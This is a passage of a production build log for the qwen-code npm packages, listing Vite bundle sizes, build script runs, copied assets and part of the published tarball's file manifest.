../dist/assets/mdc-DB_EDNY_.js 19.70 kB │ gzip: 6.62 kB
../dist/assets/nushell-D4Tzg5kh.js 19.75 kB │ gzip: 4.95 kB
../dist/assets/matlab-D9-PGadD.js 20.14 kB │ gzip: 3.85 kB
../dist/assets/move-DB_GagMm.js 20.24 kB │ gzip: 4.03 kB
../dist/assets/glimmer-js-D-cwc0-E.js 20.56 kB │ gzip: 2.99 kB
../dist/assets/glimmer-ts-pgjy16dm.js 20.56 kB │ gzip: 2.99 kB
../dist/assets/kusto-mebxcVVE.js 20.63 kB │ gzip: 4.58 kB
../dist/assets/kanban-definition-UN3LZRKU-CMGRZCxx.js 20.70 kB │ gzip: 7.22 kB
../dist/assets/snazzy-light-Bw305WKR.js 20.77 kB │ gzip: 3.85 kB
../dist/assets/viml-m4uW47V2.js 21.02 kB │ gzip: 7.24 kB
../dist/assets/dracula-BzJJZx-M.js 21.07 kB │ gzip: 4.03 kB
../dist/assets/dracula-soft-BXkSAIEj.js 21.08 kB │ gzip: 4.07 kB
../dist/assets/vue-BuYVFjOK.js 21.48 kB │ gzip: 2.88 kB
../dist/assets/rose-pine-CmCqftbK.js 21.76 kB │ gzip: 3.89 kB
../dist/assets/rose-pine-moon-CjDtw9vr.js 21.77 kB │ gzip: 3.91 kB
../dist/assets/rose-pine-dawn-Ds-gbosJ.js 21.77 kB │ gzip: 3.91 kB
../dist/assets/powershell-BIEUsx6d.js 22.26 kB │ gzip: 4.70 kB
../dist/assets/apl-BBq3IX1j.js 22.84 kB │ gzip: 4.18 kB
../dist/assets/twig-NC5TFiHP.js 23.01 kB │ gzip: 4.15 kB
../dist/assets/mindmap-definition-RKZ34NQL-k_sDYDPZ.js 23.36 kB │ gzip: 7.81 kB
../dist/assets/sankeyDiagram-5OEKKPKP-C2dJbWKN.js 23.39 kB │ gzip: 8.54 kB
../dist/assets/journeyDiagram-JHISSGLW-CINTv8VB.js 23.58 kB │ gzip: 8.31 kB
../dist/assets/nim-ZlGxZxc3.js 23.63 kB │ gzip: 3.51 kB
../dist/assets/vhdl-DYoNaHQp.js 23.78 kB │ gzip: 3.88 kB
../dist/assets/graph-qsFoMdT2.js 23.94 kB │ gzip: 8.30 kB
../dist/assets/templ-dwX3ZSMB.js 23.97 kB │ gzip: 5.40 kB
../dist/assets/astro-CqkE3fuf.js 24.07 kB │ gzip: 7.48 kB
../dist/assets/sql-COK4E0Yg.js 24.32 kB │ gzip: 7.70 kB
../dist/assets/one-light-PoHY5YXO.js 25.30 kB │ gzip: 3.68 kB
../dist/assets/razor-CNLDkMZG.js 25.81 kB │ gzip: 3.47 kB
../dist/assets/fsharp-XplgxFYe.js 25.83 kB │ gzip: 4.23 kB
../dist/assets/wardleyDiagram-YWT4CUSO-D_U-RdU4.js 26.10 kB │ gzip: 6.89 kB
../dist/assets/nord-Ddv68eIx.js 26.72 kB │ gzip: 4.41 kB
../dist/assets/system-verilog-C7L56vO4.js 26.77 kB │ gzip: 4.88 kB
../dist/assets/erDiagram-TEJ5UH35-D4oaY-rQ.js 26.97 kB │ gzip: 9.29 kB
../dist/assets/bsl-Dgyn0ogV.js 27.44 kB │ gzip: 8.88 kB
../dist/assets/java-xI-RfyKK.js 27.49 kB │ gzip: 4.33 kB
../dist/assets/coffee-dyiR41kL.js 27.75 kB │ gzip: 6.41 kB
../dist/assets/scss-C31hgJw-.js 28.13 kB │ gzip: 4.43 kB
../dist/assets/typespec-BpWG_bgh.js 28.19 kB │ gzip: 2.83 kB
../dist/assets/index-qTQR_smP.js 28.32 kB │ gzip: 9.86 kB
../dist/assets/common-lisp-C7gG9l05.js 28.50 kB │ gzip: 6.74 kB
../dist/assets/night-owl-C39BiMTA.js 28.91 kB │ gzip: 5.18 kB
../dist/assets/julia-BBuGR-5E.js 29.45 kB │ gzip: 5.88 kB
../dist/assets/gitGraphDiagram-PVQCEYII-CMDPfseF.js 29.94 kB │ gzip: 8.85 kB
../dist/assets/scala-DQVVAn-B.js 30.49 kB │ gzip: 4.30 kB
../dist/assets/applescript-Bu5BbsvL.js 30.78 kB │ gzip: 6.38 kB
../dist/assets/requirementDiagram-4Y6WPE33-CDM3ZvBt.js 31.20 kB │ gzip: 9.69 kB
../dist/assets/timeline-definition-PNZ67QCA-B2O8cAZX.js 31.36 kB │ gzip: 10.37 kB
../dist/assets/stylus-BeQkCIfX.js 31.56 kB │ gzip: 8.14 kB
../dist/assets/mermaid-Ci6OQyBP.js 33.06 kB │ gzip: 4.65 kB
../dist/assets/poimandres-CS3Unz2-.js 33.49 kB │ gzip: 5.53 kB
../dist/assets/codeql-sacFqUAJ.js 33.59 kB │ gzip: 4.00 kB
../dist/assets/one-dark-pro-GBQ2dnAY.js 33.74 kB │ gzip: 5.53 kB
../dist/assets/crystal-DtDmRg-F.js 33.75 kB │ gzip: 5.58 kB
../dist/assets/tokyo-night-DBQeEorK.js 34.36 kB │ gzip: 5.99 kB
../dist/assets/quadrantDiagram-W4KKPZXB-Baq7HIG2.js 34.50 kB │ gzip: 10.02 kB
../dist/assets/haxe-C5wWYbrZ.js 35.30 kB │ gzip: 5.94 kB
../dist/assets/houston-DnULxvSX.js 35.42 kB │ gzip: 5.80 kB
../dist/assets/nginx-D_VnBJ67.js 35.73 kB │ gzip: 4.53 kB
../dist/assets/layout-CNYaLpI5.js 35.84 kB │ gzip: 12.85 kB
../dist/assets/erlang-B-DoSBHF.js 36.31 kB │ gzip: 4.43 kB
../dist/assets/r-CwjWoCRV.js 36.87 kB │ gzip: 11.26 kB
../dist/assets/chunk-AQP2D5EJ-BoVYOTTz.js 37.55 kB │ gzip: 12.11 kB
../dist/assets/xychartDiagram-2RQKCTM6-BynXGSTl.js 40.39 kB │ gzip: 11.47 kB
../dist/assets/cobol-PTqiYgYu.js 40.58 kB │ gzip: 11.07 kB
../dist/assets/asm-Dhn9LcZ4.js 40.85 kB │ gzip: 8.20 kB
../dist/assets/vennDiagram-CIIHVFJN-BLsJ_h9s.js 41.83 kB │ gzip: 15.44 kB
../dist/assets/shellscript-atvbtKCR.js 42.71 kB │ gzip: 6.35 kB
../dist/assets/d-BoXegm-a.js 43.01 kB │ gzip: 8.35 kB
../dist/assets/haskell-BILxekzW.js 43.21 kB │ gzip: 7.00 kB
../dist/assets/perl-CHQXSrWU.js 44.54 kB │ gzip: 4.86 kB
../dist/assets/catppuccin-mocha-LGGdnPYs.js 45.61 kB │ gzip: 7.76 kB
../dist/assets/catppuccin-latte-DRW-0cLl.js 45.61 kB │ gzip: 7.77 kB
../dist/assets/catppuccin-frappe-CD_QflpE.js 45.62 kB │ gzip: 7.78 kB
../dist/assets/catppuccin-macchiato-C-_shW-Y.js 45.62 kB │ gzip: 7.77 kB
../dist/assets/apex-COJ4H7py.js 46.81 kB │ gzip: 6.79 kB
../dist/assets/ada-727ZlQH0.js 48.53 kB │ gzip: 6.11 kB
../dist/assets/chunk-727SXJPM-Dw6quA1K.js 49.06 kB │ gzip: 15.55 kB
../dist/assets/ruby-DeZ3UC14.js 51.47 kB │ gzip: 7.12 kB
../dist/assets/go-B1SYOhNW.js 52.41 kB │ gzip: 6.43 kB
../dist/assets/imba-bv_oIlVt.js 53.46 kB │ gzip: 10.23 kB
../dist/assets/everforest-dark-BgDCqdQA.js 53.75 kB │ gzip: 8.46 kB
../dist/assets/everforest-light-C8M2exoo.js 53.75 kB │ gzip: 8.46 kB
../dist/assets/css-BPhBrDlE.js 53.80 kB │ gzip: 13.46 kB
../dist/assets/wikitext-DCE3LsBG.js 56.62 kB │ gzip: 4.77 kB
../dist/assets/markdown-UIAJJxZW.js 56.99 kB │ gzip: 5.61 kB
../dist/assets/latex-C-cWTeAZ.js 59.42 kB │ gzip: 6.01 kB
../dist/assets/stata-DorPZHa4.js 61.01 kB │ gzip: 13.69 kB
../dist/assets/flowDiagram-I6XJVG4X-BqG8B49b.js 61.17 kB │ gzip: 19.24 kB
../dist/assets/html-C2L_23MC.js 61.33 kB │ gzip: 12.05 kB
../dist/assets/ballerina-Du268qiB.js 61.63 kB │ gzip: 8.36 kB
../dist/assets/ocaml-BNioltXt.js 65.87 kB │ gzip: 5.19 kB
../dist/assets/ganttDiagram-6RSMTGT7-DffQBdd5.js 69.29 kB │ gzip: 23.09 kB
../dist/assets/c4Diagram-AAUBKEIU-BNLDb8FE.js 69.95 kB │ gzip: 19.48 kB
../dist/assets/mojo-Tz6hzZYG.js 72.57 kB │ gzip: 10.36 kB
../dist/assets/python-DhUJRlN_.js 73.53 kB │ gzip: 10.44 kB
../dist/assets/c-C3t2pwGQ.js 73.97 kB │ gzip: 10.62 kB
../dist/assets/blockDiagram-GPEHLZMM-VXmYdtYT.js 74.92 kB │ gzip: 21.39 kB
../dist/assets/vyper-nyqBNV6O.js 78.23 kB │ gzip: 12.05 kB
../dist/assets/cose-bilkent-S5V4N54A-BnfkD-m1.js 81.55 kB │ gzip: 22.35 kB
../dist/assets/hack-D1yCygmZ.js 84.64 kB │ gzip: 27.44 kB
../dist/assets/csharp-D9R-vmeu.js 87.17 kB │ gzip: 10.44 kB
../dist/assets/swift-BSxZ-RaX.js 90.99 kB │ gzip: 14.51 kB
../dist/assets/asciidoc-BPT9niGB.js 93.51 kB │ gzip: 7.40 kB
../dist/assets/racket-CzouJOBO.js 97.61 kB │ gzip: 15.68 kB
../dist/assets/fortran-free-form-DKXYxT9g.js 98.19 kB │ gzip: 12.40 kB
../dist/assets/less-BfCpw3nA.js 102.46 kB │ gzip: 15.22 kB
../dist/assets/objective-c-Deuh7S70.js 107.79 kB │ gzip: 23.27 kB
../dist/assets/blade-a8OxSdnT.js 108.00 kB │ gzip: 28.54 kB
../dist/assets/php-B5ebYQev.js 113.76 kB │ gzip: 28.74 kB
../dist/assets/sequenceDiagram-3UESZ5HK-Cf1_h59p.js 117.29 kB │ gzip: 30.92 kB
../dist/assets/mdx-sdHcTMYB.js 140.36 kB │ gzip: 23.83 kB
../dist/assets/architectureDiagram-3BPJPVTR-BJ4FIBxN.js 149.54 kB │ gzip: 41.97 kB
../dist/assets/objective-cpp-BUEGK8hf.js 175.60 kB │ gzip: 30.79 kB
../dist/assets/javascript-ySlJ1b_l.js 198.03 kB │ gzip: 17.58 kB
../dist/assets/tsx-B6W0miNI.js 198.75 kB │ gzip: 17.59 kB
../dist/assets/jsx-BAng5TT0.js 201.01 kB │ gzip: 17.70 kB
../dist/assets/typescript-Dj6nwHGl.js 209.02 kB │ gzip: 17.23 kB
../dist/assets/angular-ts-CKsD7JZE.js 211.78 kB │ gzip: 17.82 kB
../dist/assets/wolfram-C3FkfJm5.js 268.60 kB │ gzip: 77.00 kB
../dist/assets/cytoscape.esm-CUqq0XTU.js 443.69 kB │ gzip: 141.74 kB
../dist/assets/wardley-L42UT6IY-BlPU4FTA.js 615.19 kB │ gzip: 147.94 kB
../dist/assets/mermaid.core-DijbyaN5.js 620.55 kB │ gzip: 148.40 kB
../dist/assets/wasm-CG6Dc4jp.js 622.34 kB │ gzip: 231.16 kB
../dist/assets/cpp-BksuvNSY.js 697.52 kB │ gzip: 50.37 kB
../dist/assets/emacs-lisp-BX77sIaO.js 804.67 kB │ gzip: 197.40 kB
../dist/assets/index-C2GE3DAF.js 1,128.18 kB │ gzip: 374.41 kB
../dist/assets/index-2F4RsNzd.js 3,175.43 kB │ gzip: 946.61 kB
(!) Some chunks are larger than 500 kB after minification. Consider:
- Using dynamic import() to code-split the application
- Use build.rollupOptions.output.manualChunks to improve chunking: https://rollupjs.org/configuration-options/#output-manualchunks
- Adjust chunk size limit for this warning via build.chunkSizeWarningLimit.
✓ built in 3m 53s
vite v5.4.21 building for production...
(node:4883) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
transforming...
(node:4883) ExperimentalWarning: WASI is an experimental feature and might change at any time
(Use `node --trace-warnings ...` to show where the warning was created)
✓ 324 modules transformed.
rendering chunks...
computing gzip size...
dist/index.js 3,533.87 kB │ gzip: 620.82 kB
✓ built in 1m 16s
npm notice run qwen-code-vscode-ide-companion@0.21.5 build
npm notice run npm run build:dev
npm notice run qwen-code-vscode-ide-companion@0.21.5 build:dev
npm notice run npm run check-types && npm run lint && node esbuild.js
npm notice run qwen-code-vscode-ide-companion@0.21.5 check-types
npm notice run tsc --noEmit
npm notice run qwen-code-vscode-ide-companion@0.21.5 lint
npm notice run eslint src
Browserslist: browsers data (caniuse-lite) is 10 months old. Please run:
npx update-browserslist-db@latest
Why you should do it regularly: https://github.com/browserslist/update-db#readme
npm notice run @qwen-code/chrome-bridge@0.21.5 build
npm notice run node scripts/sync-extension.js && node config/esbuild.background.config.js --production
Static assets synced -> dist/extension
Background/content build complete!
npm notice run @qwen-code/external-context@0.20.1 build
npm notice run npm run clean && tsc --build
npm notice run @qwen-code/external-context@0.20.1 clean
npm notice run node -e "const fs=require('node:fs'); fs.rmSync('dist',{recursive:true,force:true}); fs.rmSync('tsconfig.tsbuildinfo',{force:true})"
npm notice run @qwen-code/qwen-code@0.21.5 bundle
npm notice run npm run generate && node esbuild.config.js && node scripts/copy_bundle_assets.js
npm notice run @qwen-code/qwen-code@0.21.5 generate
npm notice run node scripts/generate-git-commit-info.js
Copied sandbox profiles to dist/
Copying vendor directory...
Copied vendor directory to dist/
Copied bundled skills to dist/bundled/
Copied docs/users/ to dist/bundled/qc-helper/docs/
Copied builtin locales to dist/locales/
Copied extension examples to dist/examples/
Copied Web Shell UI to dist/web-shell/
✅ All bundle assets copied to dist/
npm notice
npm notice 📦 @qwen-code/qwen-code@0.21.5
npm notice Tarball Contents
npm notice 11.4kB LICENSE
npm notice 9.5kB README.md
npm notice 9.0kB dist/bundled/batch/SKILL.md
npm notice 574B dist/bundled/dataviz/references/anti-patterns.md
npm notice 1.2kB dist/bundled/dataviz/references/choosing-a-form.md
npm notice 1.6kB dist/bundled/dataviz/references/palette.md
npm notice 8.7kB dist/bundled/dataviz/scripts/validate_palette.js
npm notice 2.1kB dist/bundled/dataviz/SKILL.md
npm notice 20.1kB dist/bundled/extension-creator/SKILL.md
npm notice 8.4kB dist/bundled/loop/autonomous-loop.ts
npm notice 16.4kB dist/bundled/loop/loop-task-file.ts
npm notice 20.0kB dist/bundled/loop/loop-tick-resolver.ts
npm notice 10.2kB dist/bundled/loop/SKILL.md
npm notice 4.6kB dist/bundled/new-app/SKILL.md
npm notice 931B dist/bundled/qc-helper/docs/_meta.ts
npm notice 14.9kB dist/bundled/qc-helper/docs/common-workflow.md
npm notice 205B dist/bundled/qc-helper/docs/configuration/_meta.ts
npm notice 17.9kB dist/bundled/qc-helper/docs/configuration/auth.md
npm notice 38.1kB dist/bundled/qc-helper/docs/configuration/model-providers.md
npm notice 3.0kB dist/bundled/qc-helper/docs/configuration/qwen-ignore.md
npm notice 223.5kB dist/bundled/qc-helper/docs/configuration/settings.md
npm notice 10.3kB dist/bundled/qc-helper/docs/configuration/themes.md
npm notice 3.3kB dist/bundled/qc-helper/docs/configuration/trusted-folders.md
npm notice 169B dist/bundled/qc-helper/docs/extension/_meta.ts
npm notice 10.3kB dist/bundled/qc-helper/docs/extension/extension-releasing.md
npm notice 9.3kB dist/bundled/qc-helper/docs/extension/getting-started-extensions.md
npm notice 18.5kB dist/bundled/qc-helper/docs/extension/introduction.md
npm notice 816B dist/bundled/qc-helper/docs/features/_meta.ts
npm notice 15.0kB dist/bundled/qc-helper/docs/features/approval-mode.md
npm notice 12.4kB dist/bundled/qc-helper/docs/features/arena.md
npm notice 14.8kB dist/bundled/qc-helper/docs/features/auto-mode.md
npm notice 231B dist/bundled/qc-helper/docs/features/channels/_meta.ts
npm notice 7.6kB dist/bundled/qc-helper/docs/features/channels/dingtalk.md
npm notice 6.7kB dist/bundled/qc-helper/docs/features/channels/feishu.md
npm notice 9.1kB dist/bundled/qc-helper/docs/features/channels/github.md
npm notice 9.3kB dist/bundled/qc-helper/docs/features/channels/gitlab.md
npm notice 33.8kB dist/bundled/qc-helper/docs/features/channels/overview.md
npm notice 3.9kB dist/bundled/qc-helper/docs/features/channels/plugins.md
npm notice 7.9kB dist/bundled/qc-helper/docs/features/channels/qqbot.md
npm notice 4.8kB dist/bundled/qc-helper/docs/features/channels/telegram.md
npm notice 4.6kB dist/bundled/qc-helper/docs/features/channels/wecom.md
npm notice 4.5kB dist/bundled/qc-helper/docs/features/channels/weixin.md
npm notice 39.6kB dist/bundled/qc-helper/docs/features/code-review.md
npm notice 53.8kB dist/bundled/qc-helper/docs/features/commands.md
npm notice 5.9kB dist/bundled/qc-helper/docs/features/computer-use.md
npm notice 22.7kB dist/bundled/qc-helper/docs/features/dual-output.md
npm notice 5.4kB dist/bundled/qc-helper/docs/features/followup-suggestions.md
npm notice 26.5kB dist/bundled/qc-helper/docs/features/headless.md
npm notice 60.6kB dist/bundled/qc-helper/docs/features/hooks.md
npm notice 8.5kB dist/bundled/qc-helper/docs/features/language.md
npm notice 15.7kB dist/bundled/qc-helper/docs/features/lsp.md
npm notice 8.6kB dist/bundled/qc-helper/docs/features/markdown-rendering.md
npm notice 25.4kB dist/bundled/qc-helper/docs/features/mcp.md
npm notice 13.0kB dist/bundled/qc-helper/docs/features/memory.md
npm notice 8.6kB dist/bundled/qc-helper/docs/features/sandbox.md
npm notice 8.8kB dist/bundled/qc-helper/docs/features/scheduled-tasks.md
npm notice 13.8kB dist/bundled/qc-helper/docs/features/skills.md
npm notice 23.8kB dist/bundled/qc-helper/docs/features/status-line.md
npm notice 16.7kB dist/bundled/qc-helper/docs/features/structured-output.md
npm notice 35.4kB dist/bundled/qc-helper/docs/features/sub-agents.md
npm notice 2.3kB dist/bundled/qc-helper/docs/features/tips.md
npm notice 1.4kB dist/bundled/qc-helper/docs/features/token-caching.md
npm notice 10.5kB dist/bundled/qc-helper/docs/features/tool-use-summaries.md
npm notice 22.3kB dist/bundled/qc-helper/docs/features/worktree.md
npm notice 103B dist/bundled/qc-helper/docs/ide-integration/_meta.ts
npm notice 10.2kB dist/bundled/qc-helper/docs/ide-integration/ide-companion-spec.md
npm notice 7.9kB dist/bundled/qc-helper/docs/ide-integration/ide-integration.md
npm notice 12.8kB dist/bundled/qc-helper/docs/integration-github-action.md
npm notice 2.6kB dist/bundled/qc-helper/docs/integration-jetbrains.md
npm notice 1.5kB dist/bundled/qc-helper/docs/integration-vscode.md
npm notice 2.3kB dist/bundled/qc-helper/docs/integration-zed.md
npm notice 4.9kB dist/bundled/qc-helper/docs/overview.md
npm notice 9.0kB dist/bundled/qc-helper/docs/quickstart.md
npm notice 15.7kB dist/bundled/qc-helper/docs/qwen-serve-deploy-local.md
npm notice 112.2kB dist/bundled/qc-helper/docs/qwen-serve.md
npm notice 66B dist/bundled/qc-helper/docs/reference/_meta.ts
npm notice 17.3kB dist/bundled/qc-helper/docs/reference/keyboard-shortcuts.md
npm notice 122B dist/bundled/qc-helper/docs/support/_meta.ts
npm notice 8.1kB dist/bundled/qc-helper/docs/support/tos-privacy.md
npm notice 14.1kB dist/bundled/qc-helper/docs/support/troubleshooting.md
npm notice 1.8kB dist/bundled/qc-helper/docs/support/Uninstall.md
npm notice 11.7kB dist/bundled/qc-helper/SKILL.md
npm notice 106.7kB dist/bundled/review/DESIGN.md
npm notice 236.5kB dist/bundled/review/SKILL.md
npm notice 5.2kB dist/bundled/simplify/SKILL.md
npm notice 12.2kB dist/bundled/stuck/SKILL.md
npm notice 700B dist/chunks/acp-startup-profiler-3RICG2YW.js
npm notice 667.6kB dist/chunks/acpAgent-ZZCZ6UPK.js
npm notice 2.3kB dist/chunks/agent-headless-GVYFVQOK.js
npm notice 2.5kB dist/chunks/agent-LQPCGKAB.js
npm notice 231.8kB dist/chunks/anthropicContentGenerator-3CAHEZBM.js
npm notice 24.8kB dist/chunks/artifact-tool-RROCCJDA.js
npm notice 11.1kB dist/chunks/askUserQuestion-2EPPBPUZ.js
npm notice 2.8kB dist/chunks/bridge-47JYOO2Q.js
npm notice 1.5kB dist/chunks/build-GDBLPA24.js
npm notice 174.2kB dist/chunks/ca-NYKNH222.js
npm notice 15.4kB dist/chunks/channel-management-service-UHX56NBO.js
npm notice 2.7kB dist/chunks/channel-settings-store-SWC65UPN.js
npm notice 730B dist/chunks/channel-worker-group-NDG4WOOZ.js
npm notice 20.6kB dist/chunks/channel-worker-manager-ZCW6UW34.js
npm notice 668B dist/chunks/channel-worker-supervisor-ATGFTZRN.js
npm notice 34.7kB dist/chunks/chunk-2AGOQ7QO.js
npm notice 42.6kB dist/chunks/chunk-2DNKEBXY.js
npm notice 11.7kB dist/chunks/chunk-2EFP2WYP.js
npm notice 896.9kB dist/chunks/chunk-2IIJTXYF.js
npm notice 2.8kB dist/chunks/chunk-2J3OJGTL.js
npm notice 14.4kB dist/chunks/chunk-2M5N3DHY.js
npm notice 16.4kB dist/chunks/chunk-2MIN6GRR.js
npm notice 15.1kB dist/chunks/chunk-2UISUFHQ.js
npm notice 953B dist/chunks/chunk-2X56YUSZ.js
npm notice 17.6kB dist/chunks/chunk-3LGZEYOF.js
npm notice 38.2kB dist/chunks/chunk-3RXUYQJI.js
npm notice 2.5kB dist/chunks/chunk-3SH53ANB.js
npm notice 675B dist/chunks/chunk-3Z43GZUQ.js
npm notice 56.2kB dist/chunks/chunk-4LKVQFHM.js
npm notice 267.0kB dist/chunks/chunk-4LLUH3A7.js
npm notice 7.3kB dist/chunks/chunk-4NFY2S7N.js
npm notice 265B dist/chunks/chunk-4WGODMVR.js
npm notice 90.7kB dist/chunks/chunk-4WKAA4KS.js
npm notice 932B dist/chunks/chunk-5HBA2Z7V.js
npm notice 6.5kB dist/chunks/chunk-5IBMNOVI.js
npm notice 72.5kB dist/chunks/chunk-5L6CQ4ZU.js
npm notice 12.6kB dist/chunks/chunk-5M6IDOMF.js
npm notice 789B dist/chunks/chunk-5O2XNYP6.js
npm notice 891B dist/chunks/chunk-5ODHUAWE.js
npm notice 19.3kB dist/chunks/chunk-5QWWOFGG.js
npm notice 553.1kB dist/chunks/chunk-5WV5S2GT.js
npm notice 1.2kB dist/chunks/chunk-6H67XLET.js
npm notice 10.6kB dist/chunks/chunk-6O5DVH27.js
npm notice 2.2kB dist/chunks/chunk-6PEXNQTX.js
npm notice 2.5kB dist/chunks/chunk-6PLDPT2C.js
npm notice 662B dist/chunks/chunk-6PVPNMXU.js
npm notice 8.3kB dist/chunks/chunk-6WBWIPBF.js
npm notice 12.3kB dist/chunks/chunk-7MFQLOHZ.js
npm notice 8.6kB dist/chunks/chunk-7OSUD5EE.js
npm notice 775.8kB dist/chunks/chunk-22C7BQ6D.js
npm notice 2.8kB dist/chunks/chunk-24ER7UV4.js
npm notice 5.6kB dist/chunks/chunk-33FNCQSY.js
npm notice 3.2kB dist/chunks/chunk-43T5WDQ7.js
npm notice 3.9kB dist/chunks/chunk-46UV252V.js
npm notice 50.6kB dist/chunks/chunk-57OAHC2Y.js
npm notice 18.7kB dist/chunks/chunk-75DOP5OR.js
npm notice 31.4kB dist/chunks/chunk-432XCUHF.js
npm notice 12.9kB dist/chunks/chunk-A5YZ3FA2.js
npm notice 18.2kB dist/chunks/chunk-A6SX5TAH.js
npm notice 500.4kB dist/chunks/chunk-AGKNFVK6.js
npm notice 3.1kB dist/chunks/chunk-AKA24BGO.js
npm notice 3.1kB dist/chunks/chunk-ALGGS7UH.js
npm notice 1.4kB dist/chunks/chunk-ALMR3E6Q.js
npm notice 429.9kB dist/chunks/chunk-AMDSOFFV.js
npm notice 3.4kB dist/chunks/chunk-AQ37AY7B.js
npm notice 534.1kB dist/chunks/chunk-AZQ3DT76.js
npm notice 20.1kB dist/chunks/chunk-BE53YYSE.js
npm notice 15.3kB dist/chunks/chunk-BFHXDAR7.js
npm notice 1.4kB dist/chunks/chunk-BGXZBI5B.js
npm notice 13.6kB dist/chunks/chunk-BJ2QX5WU.js
npm notice 700B dist/chunks/chunk-BK2UNYWD.js
npm notice 9.8kB dist/chunks/chunk-BLT5QJVC.js
npm notice 34.2kB dist/chunks/chunk-BXMAZAUU.js
npm notice 3.8kB dist/chunks/chunk-CC63JOTM.js
npm notice 23.2kB dist/chunks/chunk-CIUUYB23.js
npm notice 832B dist/chunks/chunk-CPBF7KYF.js
npm notice 3.4kB dist/chunks/chunk-CR3C7WXL.js
npm notice 40.1kB dist/chunks/chunk-CRG7RME7.js
npm notice 756B dist/chunks/chunk-CXAOG665.js
npm notice 72.8kB dist/chunks/chunk-CXQTUAY5.js
npm notice 22.2kB dist/chunks/chunk-D3UEZIQH.js
npm notice 606.3kB dist/chunks/chunk-D7D7RXIJ.js
npm notice 1.7kB dist/chunks/chunk-DGEIYUC3.js
npm notice 433.3kB dist/chunks/chunk-DI35ZN7T.js
npm notice 273.6kB dist/chunks/chunk-DIEFUBV6.js
npm notice 3.1kB dist/chunks/chunk-DJ2GSRLV.js
npm notice 20.2kB dist/chunks/chunk-DMTGGOSA.js
npm notice 47.7kB dist/chunks/chunk-DP3IHZGG.js
npm notice 2.5kB dist/chunks/chunk-DTAPI453.js
npm notice 7.9kB dist/chunks/chunk-DWCOV6F4.js
npm notice 9.2kB dist/chunks/chunk-DYA25Y7U.js
npm notice 9.4kB dist/chunks/chunk-E4WHKETF.js
npm notice 1.1kB dist/chunks/chunk-EKTCKZV5.js
npm notice 5.2kB dist/chunks/chunk-ER45JEA6.js
npm notice 78.8kB dist/chunks/chunk-F7J7CYCN.js
npm notice 806.5kB dist/chunks/chunk-FADMAMDO.js
npm notice 67.9kB dist/chunks/chunk-FC4KQFCS.js
npm notice 129.5kB dist/chunks/chunk-FCMNKVXT.js
npm notice 42.2kB dist/chunks/chunk-FHPKHXHT.js
npm notice 409.9kB dist/chunks/chunk-FW3BSC3P.js
npm notice 109.5kB dist/chunks/chunk-FXZVJG2C.js
npm notice 6.8kB dist/chunks/chunk-FYJ7W2PI.js
npm notice 12.8kB dist/chunks/chunk-GLCZKT5V.js
npm notice 1.2kB dist/chunks/chunk-GLNBDYUX.js
npm notice 19.4kB dist/chunks/chunk-GLWP3FDB.js
npm notice 4.3kB dist/chunks/chunk-GOFAQQZA.js
npm notice 7.0kB dist/chunks/chunk-GOXKNSDZ.js
npm notice 271B dist/chunks/chunk-GRC5HGPI.js
npm notice 3.4kB dist/chunks/chunk-GT7U4NWQ.js
npm notice 20.4kB dist/chunks/chunk-GTM6IHBB.js
npm notice 542.0kB dist/chunks/chunk-H6XPXXMH.js
npm notice 676.0kB dist/chunks/chunk-H7FGPPW6.js
npm notice 20.8kB dist/chunks/chunk-H36SETQS.js
npm notice 4.9kB dist/chunks/chunk-HGCQ5SE7.js
npm notice 10.7kB dist/chunks/chunk-HIJMEWTB.js
npm notice 3.1kB dist/chunks/chunk-HOZO2SJJ.js
npm notice 142.4kB dist/chunks/chunk-I3G5JWBV.js
npm notice 3.7kB dist/chunks/chunk-I5LP4OXF.js
npm notice 6.8kB dist/chunks/chunk-I7JDGNG6.js
npm notice 2.2kB dist/chunks/chunk-IDS7MSUP.js
npm notice 4.2kB dist/chunks/chunk-IICYTEAK.js
npm notice 1.8kB dist/chunks/chunk-IJVIDC6Y.js
npm notice 3.6kB dist/chunks/chunk-IKTGP4VS.js
npm notice 4.6kB dist/chunks/chunk-IRH27ZC2.js
npm notice 530B dist/chunks/chunk-IZ2CMEYO.js
npm notice 2.5kB dist/chunks/chunk-J2S4EL5Y.js
npm notice 233.0kB dist/chunks/chunk-J4MOFEOK.js
npm notice 13.5kB dist/chunks/chunk-J26HHFI5.js
npm notice 56.0kB dist/chunks/chunk-JE7KQ2UP.js
npm notice 486B dist/chunks/chunk-JELIWHXD.js
npm notice 2.7kB dist/chunks/chunk-JFHOFPOB.js
npm notice 1.5kB dist/chunks/chunk-JIVVU3OC.js
npm notice 2.3kB dist/chunks/chunk-JQP2LJ7B.js
npm notice 233.6kB dist/chunks/chunk-K6KS3LTN.js
npm notice 4.4kB dist/chunks/chunk-K623ENWT.js
npm notice 1.7kB dist/chunks/chunk-KEMXQA54.js
npm notice 85.0kB dist/chunks/chunk-KKN2IE7Q.js
npm notice 12.0kB dist/chunks/chunk-KNSUKF6P.js
npm notice 55.2kB dist/chunks/chunk-KRXPRVGL.js
npm notice 8.1kB dist/chunks/chunk-KVUBYJDM.js
npm notice 671B dist/chunks/chunk-KW7NOTN6.js
npm notice 687B dist/chunks/chunk-LBOVL47Y.js
npm notice 17.4kB dist/chunks/chunk-LBWNSLJK.js
npm notice 12.4kB dist/chunks/chunk-LEZFUYPM.js
npm notice 9.7kB dist/chunks/chunk-LHGP62B4.js
npm notice 6.1kB dist/chunks/chunk-LKRMNRSN.js
npm notice 16.9kB dist/chunks/chunk-LZSZBNU4.js
npm notice 3.5kB dist/chunks/chunk-M5GB774H.js
npm notice 7.1kB dist/chunks/chunk-M744OFVE.js
npm notice 60.6kB dist/chunks/chunk-MBEMTXQT.js
npm notice 36.5kB dist/chunks/chunk-MGSSJT27.js
npm notice 312.5kB dist/chunks/chunk-MISUEWB4.js
npm notice 9.3kB dist/chunks/chunk-MOHAWIAW.js
npm notice 1.3kB dist/chunks/chunk-MPHPFVKK.js
npm notice 1.3kB dist/chunks/chunk-MR3PXB6E.js
npm notice 8.3kB dist/chunks/chunk-NAVJD2PQ.js
npm notice 5.7kB dist/chunks/chunk-NUACUR6O.js
npm notice 252.6kB dist/chunks/chunk-NWNEANAT.js
npm notice 3.7kB dist/chunks/chunk-NYX53SV4.js
npm notice 478B dist/chunks/chunk-O6GEWCJA.js
npm notice 2.0kB dist/chunks/chunk-OA4JVLSA.js
npm notice 353B dist/chunks/chunk-OCPBI7J5.js
npm notice 10.8kB dist/chunks/chunk-OJJIBMA2.js
npm notice 16.2kB dist/chunks/chunk-OSSDHDZ3.js
